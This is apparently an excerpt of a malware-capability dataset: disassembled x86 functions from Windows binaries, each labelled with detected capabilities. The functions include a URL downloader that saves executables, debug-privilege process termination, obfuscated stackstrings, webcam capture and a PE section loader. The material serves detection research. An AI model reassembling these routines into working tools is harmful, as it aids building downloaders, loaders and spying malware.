joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100120e0
Capabilities:
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x1001a308
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.LocalAlloc
mov dword [esp + 0x24], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], eax
call fcn.100040b0
mov eax, dword [esp + 0x28]
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x10], ebp
jle 0x1001218d
push str.lstrlenA
push str.KERNEL32.dll
call esi
push eax
call edi
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x14], 6
mov ebx, dword [eax + ecx*4]
add ebx, 4
mov eax, dword [ebx]
push eax
call dword [esp + 0x1c]
lea ebp, [eax + ebp + 1]
mov eax, dword [esp + 0x14]
add ebx, 4
dec eax
mov dword [esp + 0x14], eax
jne 0x10012163
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x28]
inc eax
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x1001213a
push str.RegQueryValueExA
push str.ADVAPI32.dll
inc ebp
call esi
push eax
call edi
push ebp
push 0x40
call dword [esp + 0x24]
mov ebx, eax
mov eax, dword [esp + 0x28]
test eax, eax
mov dword [esp + 0x18], ebx
mov ebp, 1
mov dword [esp + 0x10], 0
jle 0x10012246
mov edx, dword [esp + 0x3c]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], 6
mov ebx, dword [edx + eax*4]
add ebx, 4
jmp 0x100121e7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.lstrlenA
push str.KERNEL32.dll
call esi
push eax
call edi
mov ecx, dword [ebx]
push ecx
call eax
mov edx, dword [esp + 0x18]
mov esi, dword [ebx]
inc eax
add ebx, 4
mov ecx, eax
lea edi, [edx + ebp]
mov edx, ecx
add ebp, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, edx
and ecx, 3
dec eax
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x14], eax
jne 0x100121db
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc eax
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x100121c3
mov ebx, dword [esp + 0x18]
push str.LocalSize
push str.KERNEL32.dll
call esi
push eax
call edi
push str.LocalFree
push str.KERNEL32.dll
mov ebp, eax
mov byte [ebx], 0x82
call esi
push eax
call edi
push ebx
mov esi, eax
call ebp
mov ecx, dword [esp + 0x20]
push eax
push ebx
call fcn.1000be20
push ebx
call esi
lea ecx, [esp + 0x24]
mov dword [esp + 0x4c], 0xffffffff
call fcn.10004190
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x40
ret
Function at 0x100122a0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
mov edi, ecx
push str.TerminateProcess
push str.KERNEL32.dll
mov dword [esp + 0x1c], edi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x18], eax
call fcn.100126b0
mov eax, dword [esp + 0x28]
add esp, 8
xor esi, esi
test eax, eax
jbe 0x10012324
push str.OpenProcess
push str.KERNEL32.dll
call ebx
push eax
call ebp
mov ecx, dword [esp + 0x1c]
mov edx, dword [esi + ecx]
push edx
push 0
push 0x1f0fff
call eax
mov edi, eax
push 0
push edi
call dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x20]
add esi, 4
cmp esi, eax
jb 0x100122e5
mov edi, dword [esp + 0x14]
push 0
push str.SeDebugPrivilege
call fcn.100126b0
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.10012040
mov ecx, edi
call fcn.10012090
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
Function at 0x100129b0
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x10012930
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x10012a30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, 0x6f
push ebx
push ebp
mov cl, 0x65
mov byte [esp + 0xf], al
mov byte [esp + 0x10], al
mov byte [esp + 0x1e], al
push esi
mov bl, 0x6c
lea eax, [esp + 0xc]
push edi
mov byte [esp + 0x12], cl
mov byte [esp + 0x15], cl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x19], bl
mov dl, 0x68
mov byte [esp + 0x1c], bl
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov cl, 0x70
push eax
push str.KERNEL32.dll
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], 0x74
mov byte [esp + 0x1e], 0x54
mov byte [esp + 0x22], dl
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2b], cl
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push 0
push 2
call eax
push 0x128
mov edi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push str.Process32First
push str.KERNEL32.dll
mov dword [esi], 0x128
call ebx
push eax
call ebp
push esi
push edi
call eax
test eax, eax
je 0x10012b58
mov ecx, dword [esp + 0x30]
lea eax, [esi + 0x24]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x10012b22
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
push str.Process32Next
push str.KERNEL32.dll
call ebx
push eax
call ebp
push esi
mov ebx, eax
push edi
call ebx
test eax, eax
je 0x10012b58
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov edx, dword [esp + 0x30]
lea eax, [esi + 0x24]
push edx
push eax
call ebp
test eax, eax
je 0x10012b17
push esi
push edi
call ebx
test eax, eax
jne 0x10012b41
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret
Function at 0x10012b70
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10012bd9
push esi
push edi
push str.lstrcpyA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push pe_nt_image_headers32
mov edi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 8]
push eax
push esi
call edi
mov ecx, dword [esp + 8]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop edi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x10012db0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x10012dfa
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x10012dfa
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x10012e17
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x10012e17
call fcn.10012be0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.10012b70
pop edi
pop esi
add esp, 0x9c
ret

Function at 0x10013050
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
push str.GetThreadDesktop
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call esi
push str.Winlogon
mov esi, eax
call fcn.10012fd0
add esp, 4
test eax, eax
jne 0x10013088
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x100130ac
push esi
call fcn.10012f30
add esp, 4
mov eax, 1
pop esi
ret
Function at 0x100130c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x428
mov al, 0x65
push ebx
push ebp
mov byte [esp + 0xb], al
mov byte [esp + 0xe], al
mov byte [esp + 0x12], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0xc]
push edi
xor edi, edi
mov ebx, 1
mov cl, 0x6e
mov dl, 0x74
push eax
push str.WININET.dll
mov dword [esp + 0x28], edi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x18], 0x49
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x1d], cl
mov byte [esp + 0x1f], dl
mov byte [esp + 0x20], 0x4f
mov byte [esp + 0x21], 0x70
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x25], 0
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push edi
push edi
push edi
push edi
push str.Mozilla_4.0__compatible_
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x30], edi
jne 0x1001315e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x428
ret
push str.InternetOpenUrlA
push str.WININET.dll
call esi
push eax
call ebp
mov ecx, dword [esp + 0x43c]
push 0
push accept
push 0
push 0
push ecx
push edi
call eax
test eax, eax
mov dword [esp + 0x28], eax
jne 0x10013198
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x428
ret
mov edx, dword [esp + 0x440]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x2c], eax
je 0x1001323d
push str.InternetReadFile
push str.WININET.dll
call esi
push eax
call ebp
mov edx, eax
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x20]
lea ecx, [esp + 0x38]
push eax
mov eax, dword [esp + 0x2c]
push 0x400
push ecx
push eax
call edx
test ebx, ebx
je 0x100131ff
cmp word [esp + 0x38], 0x5a4d
jne 0x10013226
mov edx, dword [esp + 0x20]
xor ebx, ebx
lea ecx, [esp + 0x34]
push ebx
push ecx
mov ecx, dword [esp + 0x34]
lea eax, [esp + 0x40]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x20]
test eax, eax
jbe 0x1001322e
jmp 0x100131be
mov dword [esp + 0x24], 0
mov edx, dword [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x30]
push str.InternetCloseHandle
push str.WININET.dll
call esi
push eax
call ebp
mov esi, eax
mov eax, dword [esp + 0x28]
push eax
call esi
push edi
call esi
mov ecx, dword [esp + 0x24]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x428
ret
Function at 0x10013310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
push ebx
xor ebx, ebx
push esi
push ebx
mov esi, ecx
push ebx
push ebx
push ebx
mov dword [esi], 0x1001b514
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.10013580
test al, al
je 0x1001340b
cmp byte [0x10021e38], bl
jne 0x1001340b
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push accept
push 0x100218a8
push str.32770
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [esi + 0x10], eax
mov al, 0x43
mov cl, 0x41
mov byte [esp + 0x17], al
mov byte [esp + 8], al
mov byte [esp + 0xe], al
mov byte [esp + 0x14], cl
mov byte [esp + 0x18], cl
lea eax, [esp + 0x14]
mov dl, 0x64
mov cl, 0x6c
push str.capCreateCaptureWindowA
push eax
mov byte [esp + 0x1d], 0x56
mov byte [esp + 0x1e], 0x49
mov byte [esp + 0x21], 0x50
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], bl
mov byte [esp + 0x11], 0x56
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], dl
mov byte [esp + 0x14], 0x65
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x17], 0x61
mov byte [esp + 0x18], 0x70
mov byte [esp + 0x19], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 0x10]
push ebx
push ecx
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x20]
push 0x50000000
push edx
call eax
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
pop ebx
add esp, 0x1c
ret

Function at 0x10013580
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov al, byte [0x10021e38]
sub esp, 0xa8
test al, al
je 0x10013598
xor al, al
add esp, 0xa8
ret
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor al, al
xor esi, esi
mov bl, 0x6c
test al, al
jne 0x1001361b
mov byte [esp + 0x1c], al
lea eax, [esp + 0x10]
push str.capGetDriverDescriptionA
push eax
mov byte [esp + 0x18], 0x41
mov byte [esp + 0x19], 0x56
mov byte [esp + 0x1a], 0x49
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1d], 0x50
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
call ebp
push eax
call edi
lea ecx, [esp + 0x20]
push 0x32
push ecx
lea edx, [esp + 0x5c]
push 0x64
push edx
push esi
call eax
test eax, eax
setne al
inc esi
cmp esi, 0xa
jl 0x100135ae
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa8
ret
Function at 0x4e040a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebp
mov al, 0x45
push esi
mov esi, dword [0x406008]
push edi
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov al, 0x6c
push 0x4113b4
push 0x4113a4
mov byte [esp + 0x14], 0x4b
mov byte [esp + 0x16], 0x52
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x19], 0x4c
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0
call esi
mov edi, dword [0x406004]
push eax
call edi
mov ebp, eax
mov al, 0x65
mov cl, 0x73
mov byte [esp + 0x1d], al
mov byte [esp + 0x23], al
mov byte [esp + 0x27], al
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
push eax
push ecx
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x50
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2e], 0x48
mov byte [esp + 0x30], 0x61
mov byte [esp + 0x31], 0x70
mov byte [esp + 0x32], 0
call esi
push eax
call edi
mov edx, dword [esp + 0x30]
push edx
push 0
call eax
push eax
call ebp
pop edi
pop esi
pop ebp
add esp, 0x20
ret

Function at 0x4e075a
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405e70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov edx, dword [ebp + 0x10]
push ebx
push esi
xor esi, esi
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push edi
mov dword [ebp - 0x24], ecx
mov si, word [eax + 0x14]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], 0
lea esi, [esi + eax + 0x18]
mov dword [ebp - 0x18], esi
mov eax, dword [edx]
xor edx, edx
mov dx, word [eax + 6]
mov eax, dword [ebp - 0x14]
cmp eax, edx
jge 0x4e086f
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x4e07ef
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x4e0857
mov edx, dword [esi + 0xc]
push 4
push 0x1000
add edx, ecx
push ebx
push edx
call dword [0x406020]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4e0857
push 4
push 0x1000
push eax
mov eax, dword [esi + 0xc]
add eax, ecx
push eax
call dword [0x406020]
lea ecx, [ebp - 0x20]
push 0x406570
push ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0x55
call fcn.004e1140
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
mov eax, dword [ebp + 8]
mov edx, ecx
add esi, eax
mov eax, 0x4014ad
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
ret
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0x10]
inc ecx
add esi, 0x28
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x18], esi
jmp 0x4e079a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4f442b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebp
mov al, 0x45
push esi
mov esi, dword [0x406008]
push edi
mov byte [esp + 0xd], al
mov byte [esp + 0x10], al
mov al, 0x6c
push 0x4113b4
push 0x4113a4
mov byte [esp + 0x14], 0x4b
mov byte [esp + 0x16], 0x52
mov byte [esp + 0x17], 0x4e
mov byte [esp + 0x19], 0x4c
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0
call esi
mov edi, dword [0x406004]
push eax
call edi
mov ebp, eax
mov al, 0x65
mov cl, 0x73
mov byte [esp + 0x1d], al
mov byte [esp + 0x23], al
mov byte [esp + 0x27], al
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
push eax
push ecx
mov byte [esp + 0x24], 0x47
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x50
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2e], 0x48
mov byte [esp + 0x30], 0x61
mov byte [esp + 0x31], 0x70
mov byte [esp + 0x32], 0
call esi
push eax
call edi
mov edx, dword [esp + 0x30]
push edx
push 0
call eax
push eax
call ebp
pop edi
pop esi
pop ebp
add esp, 0x20
ret

Function at 0x4f477b
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405e70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov edx, dword [ebp + 0x10]
push ebx
push esi
xor esi, esi
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push edi
mov dword [ebp - 0x24], ecx
mov si, word [eax + 0x14]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], 0
lea esi, [esi + eax + 0x18]
mov dword [ebp - 0x18], esi
mov eax, dword [edx]
xor edx, edx
mov dx, word [eax + 6]
mov eax, dword [ebp - 0x14]
cmp eax, edx
jge 0x4f4890
mov eax, dword [esi + 0x10]
test eax, eax
jne 0x4f4810
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x38]
test ebx, ebx
jle 0x4f4878
mov edx, dword [esi + 0xc]
push 4
push 0x1000
add edx, ecx
push ebx
push edx
call dword [0x406020]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4f4878
push 4
push 0x1000
push eax
mov eax, dword [esi + 0xc]
add eax, ecx
push eax
call dword [0x406020]
lea ecx, [ebp - 0x20]
push 0x406570
push ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x20], 0x55
call fcn.004f5161
mov eax, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x10]
mov esi, dword [eax + 0x14]
mov eax, dword [ebp + 8]
mov edx, ecx
add esi, eax
mov eax, 0x4014ad
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
ret
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 0x10]
inc ecx
add esi, 0x28
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x18], esi
jmp 0x4f47bb
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407550
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
xor eax, eax
mov word [ebp - 0xc], ax
xor ecx, ecx
mov word [ebp - 0xa], cx
movsx edx, word [0x40ea90]
cmp edx, 0xa
jge 0x407578
mov dword [ebp - 0x10], 1
jmp 0x40757f
mov dword [ebp - 0x10], 0xfffffff6
movsx eax, word [0x40ea90]
add eax, dword [ebp - 0x10]
mov word [0x40ea90], ax
mov cx, word [0x40ea90]
mov word [ebp - 0xc], cx
mov dx, word [0x40ea90]
mov word [ebp - 0xa], dx
movsx eax, byte [0x40ea8a]
cmp eax, 0xff
jge 0x4075bc
mov dword [ebp - 0x14], 1
jmp 0x4075c3
mov dword [ebp - 0x14], 0xffffff01
movsx ecx, byte [0x40ea8a]
add ecx, dword [ebp - 0x14]
mov byte [0x40ea8a], cl
mov edx, dword [ebp + 8]
movsx eax, word [edx + 4]
sub eax, 1
mov word [ebp - 0x18], ax
mov ecx, dword [ebp + 8]
movsx edx, word [ecx + 6]
sub edx, 1
mov word [ebp - 0x16], dx
mov eax, 0xa
mov word [ebp - 0x1e], ax
mov ecx, dword [ebp + 8]
mov dx, word [ecx + 6]
mov word [ebp - 0x1a], dx
mov ax, word [0x40ea90]
mov word [ebp - 0x20], ax
mov ecx, dword [ebp + 8]
mov dx, word [ecx + 4]
mov word [ebp - 0x1c], dx
mov dword [ebp - 8], 0
jmp 0x40762a
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
movsx edx, word [ecx + 6]
cmp dword [ebp - 8], edx
jae 0x4076d2
mov dword [ebp - 4], 0
jmp 0x40764c
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movsx edx, word [ecx + 4]
cmp dword [ebp - 4], edx
jae 0x4076cd
movsx eax, byte [0x40ea90]
cdq
mov ecx, 7
idiv ecx
mov eax, 8
imul ecx, eax, 0
mov eax, dword [ebp + 8]
movsx eax, word [eax + 4]
imul eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov esi, dword [ebp + 8]
mov ecx, dword [esi + ecx + 0x18]
mov byte [ecx + eax*4], dl
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, 0xf
div ecx
movsx eax, byte [0x40ea8a]
imul eax, edx
xor edx, edx
mov ecx, 0xff
div ecx
mov eax, 8
imul ecx, eax, 0
mov eax, dword [ebp + 8]
movsx eax, word [eax + 4]
imul eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov esi, dword [ebp + 8]
mov ecx, dword [esi + ecx + 0x18]
mov word [ecx + eax*4 + 2], dx
jmp 0x407643
jmp 0x407621
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax + 0x18]
push edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp + 8]
mov eax, dword [edx + ecx + 0x14]
push eax
call sub.KERNEL32.dll_WriteConsoleOutputA
push 0
push 0
push 0xe
push str._nTESTTESTTEST_n
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + edx + 0x14]
push ecx
call sub.KERNEL32.dll_WriteConsoleA
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax + 0x14]
push edx
call sub.KERNEL32.dll_SetConsoleActiveScreenBuffer
pop esi
mov esp, ebp
pop ebp
ret